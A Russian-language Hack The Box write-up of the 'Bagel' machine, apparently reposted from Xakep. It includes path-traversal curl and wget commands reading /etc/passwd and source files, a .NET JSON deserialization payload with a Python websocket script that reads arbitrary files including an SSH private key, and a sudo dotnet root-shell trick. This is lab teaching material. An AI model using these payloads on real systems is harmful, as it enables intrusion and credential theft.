Хакер - HTB Bagel. Захватываем сервер через десериализацию JSON в .NET

Хакер - HTB Bagel. Захватываем сервер через десериализацию JSON в .NET

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • LFI
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как ревер­сить биб­лиоте­ку .NET DLL, что­бы най­ти уяз­вимость в ней. По пути про­экс­плу­ати­руем уяз­вимость LFI в веб‑сай­те, а при повыше­нии при­виле­гий задей­ству­ем тех­нику GTFOBins для при­ложе­ния .NET, запущен­ного в Linux.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками. 

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.201 bagel.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Наш­ли три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.8;
  • 5000 и 8000 — веб‑сер­вер Python 3.10.9.

На SSH делать нечего, поэто­му сра­зу перехо­дим к изу­чению веб‑сер­вера. Как показал отчет, на пор­те 8000 мы уга­дали имя домена — bagel.htb.

Глав­ная стра­ница http://bagel.htb:8000

ТОЧКА ВХОДА

Ви­дим, что целевая стра­ница переда­ется в парамет­ре page. В таком слу­чае пер­вым делом нуж­но про­верить воз­можность вклю­чения про­изволь­ного фай­ла путем обхо­да катало­гов. Для тес­та про­буем про­читать фай­лы /etc/passwd или /etc/hosts.

curl 'http://bagel.htb:8000/?page=../../../../etc/passwd'

Со­дер­жимое фай­ла /etc/passwd

Сра­зу же уда­лось про­читать файл!

Те­перь возь­мем на GitHub спи­сок важ­ных и инте­рес­ных фай­лов в Linux и перебе­рем их с помощью Burp Intruder.

Burp Intruder — вклад­ка Positions
Burp Intruder — резуль­тат перебо­ра

Очень инте­рес­ный файл — /proc/self/cmdline, который содер­жит пол­ную коман­ду коман­дной стро­ки текуще­го про­цес­са. Этот файл рас­кры­вает нам путь к фай­лу с кодом скрип­та. С помощью LFI ска­чива­ем исходник, откры­ваем в любой сре­де раз­работ­ки (я исполь­зую VSCode) и перехо­дим к ана­лизу.

wget 'http://bagel.htb:8000/?page=../../../../../../../home/developer/app/app.py' -O app.py

Со­дер­жимое фай­ла app.py

Из кода выяс­няем, что мы можем под­клю­чить­ся к веб‑сокету на пор­те 5000 и передать дан­ные в фор­мате JSON, которые потом будут обра­бота­ны методом json.loads. Из ком­мента­рия узна­ем о под­клю­чен­ной DLL. 

LFI

Поп­робу­ем переб­рать коман­дные стро­ки для всех про­цес­сов в сис­теме, для чего с помощью Burp Intruder будем менять PID про­цес­са.

Burp Intruder — вклад­ка Positions
Burp Intruder — вклад­ка Payloads

Что­бы получить коман­дные стро­ки в удоб­ном виде для всех зап­росов, зададим параметр Grep — Extract. Тог­да Burp будет извле­кать коман­дную стро­ку из отве­та сер­вера и выводить в отдель­ном стол­бике.

Burp Intruder — нас­трой­ка Grep — Extract
Ре­зуль­тат перебо­ра

В резуль­тате видим про­цесс dotnet, который в качес­тве парамет­ра получа­ет файл DLL, то есть биб­лиоте­ку, о которой мы зна­ем из ком­мента­рия. Ска­чива­ем най­ден­ный DLL для даль­нейше­го ана­лиза.

wget 'http://bagel.htb:8000/?page=../../../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -O bagel.dll

Так как это файл .NET, его мож­но деком­пилиро­вать. Для это­го есть отличное средс­тво dnSpy. Откры­ваем его, заг­ружа­ем ска­чан­ный DLL и пер­вым делом обра­щаем вни­мание на класс DB. В исходном коде это­го клас­са находим учет­ные дан­ные для под­клю­чения к базе дан­ных.

Ис­ходный код клас­са DB

Ав­торизо­вать­ся на SSH с этим паролем не выш­ло, поэто­му про­водим осно­ватель­ный ана­лиз фай­ла. Мы уже зна­ем, что прог­рамма работа­ет на пор­те 5000 и при­нима­ет дан­ные в фор­мате JSON, пос­ле чего выпол­няет десери­али­зацию объ­екта и сери­али­зацию (фун­кция MessageReceived).

Ис­ходный код клас­са Bagel

Из фун­кции DeserializeObject узна­ем, что в парамет­ре при­нима­емо­го JSON сущес­тву­ет ключ Message.

Ис­ходный код клас­са Handler

А из клас­са Orders узна­ем о воз­можнос­ти уда­ления, записи и чте­ния заявок.

Ис­ходный код клас­са Orders

В клас­се Orders обра­тим вни­мание вот на эту фун­кцию:

RemoveOrder {get; set;}

ТОЧКА ОПОРЫ

Мы можем исполь­зовать уяз­вимость десери­али­зации и в качес­тве парамет­ра пре­дос­тавить сери­али­зован­ный объ­ект, что при­ведет к его выпол­нению. Так, в прог­рамме есть класс File, который содер­жит фун­кцию ReadFile, чита­ющую файл order.txt в катало­ге /opt/bagel/orders/.

Ис­ходный код клас­са File
Ис­ходный код клас­са File (про­дол­жение)

Бу­дем исполь­зовать фун­кцию ReadFile для чте­ния про­изволь­ных фай­лов с помощью сле­дующей наг­рузки.

{

"RemoveOrder": {

"$type": "bagel_server.File, bagel",

"ReadFile": "../../../../../../etc/passwd"

}

}

В атри­буте $type ука­зыва­ем тип объ­екта bagel_server.File, bagel, а в атри­буте ReadFile — путь к чита­емо­му фай­лу. Для работы кон­некта с веб‑сокетом напишем прос­той код на Python.

import asyncio

import json

import sys

from websockets import connect

async def hello(uri):

async with connect(uri) as websocket:

order = {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../../.." + sys.argv[1]}}

data = str(json.dumps(order))

await websocket.send(data)

resp = await websocket.recv()

print(json.loads(resp)["RemoveOrder"]["ReadFile"])

asyncio.run(hello("ws://bagel.htb:5000/"))

Со­дер­жимое фай­ла /etc/passwd

Так как при­ложе­ние может работать от име­ни дру­гого поль­зовате­ля (не www-data), про­буем про­читать при­ват­ный SSH-ключ ~/.ssh/id_rsa и получа­ем его.

При­ват­ный SSH-ключ поль­зовате­ля phil

Ко­пиру­ем ключ, наз­нача­ем необ­ходимые пра­ва коман­дой chmod 0600 id_rsa и под­клю­чаем­ся к хос­ту.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Вспо­мина­ем, что у нас есть пароль для под­клю­чения к базе дан­ных, который мы узна­ли рань­ше. Поп­робу­ем исполь­зовать его для авто­риза­ции от име­ни поль­зовате­ля developer локаль­но. Пароль подошел, и мы получи­ли новую сес­сию.

Сес­сия поль­зовате­ля developer

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Од­но из пер­вых мест, которые нуж­но про­верить при повыше­нии при­виле­гий, — это нас­трой­ки sudoers. Получить их мож­но коман­дой sudo -l.

Нас­трой­ки sudoers

Так мы узна­ем, что можем выпол­нить коман­ду /usr/bin/dotnet от име­ни поль­зовате­ля root без вво­да пароля. В таких слу­чаях пер­вым делом я про­веряю базу GTFOBins: нет ли там готовых трю­ков для нуж­ного при­ложе­ния? Спо­соб экс­плу­ата­ции прог­раммы dotnet под sudo нашел­ся.

Справка: GTFOBins

GTFOBins — это под­борка спо­собов зло­упот­ребле­ния фун­кци­ями рас­простра­нен­ных прог­рамм для Unix. Исполь­зуя эти рецеп­ты, мож­но быс­тро получить дос­туп к коман­дным обо­лоч­кам, повысить при­виле­гии или передать фай­лы.

Тех­ника экс­плу­ата­ции dotnet под sudo

Зна­чит, мы можем открыть dotnet в инте­рак­тивном режиме и запус­тить файл коман­дной обо­лоч­ки, что даст нам шелл в при­виле­гиро­ван­ном кон­тек­сте.

sudo /usr/bin/dotnet fsi

System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;

Флаг рута

У нас есть флаг рута, а зна­чит, машина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei


Report Page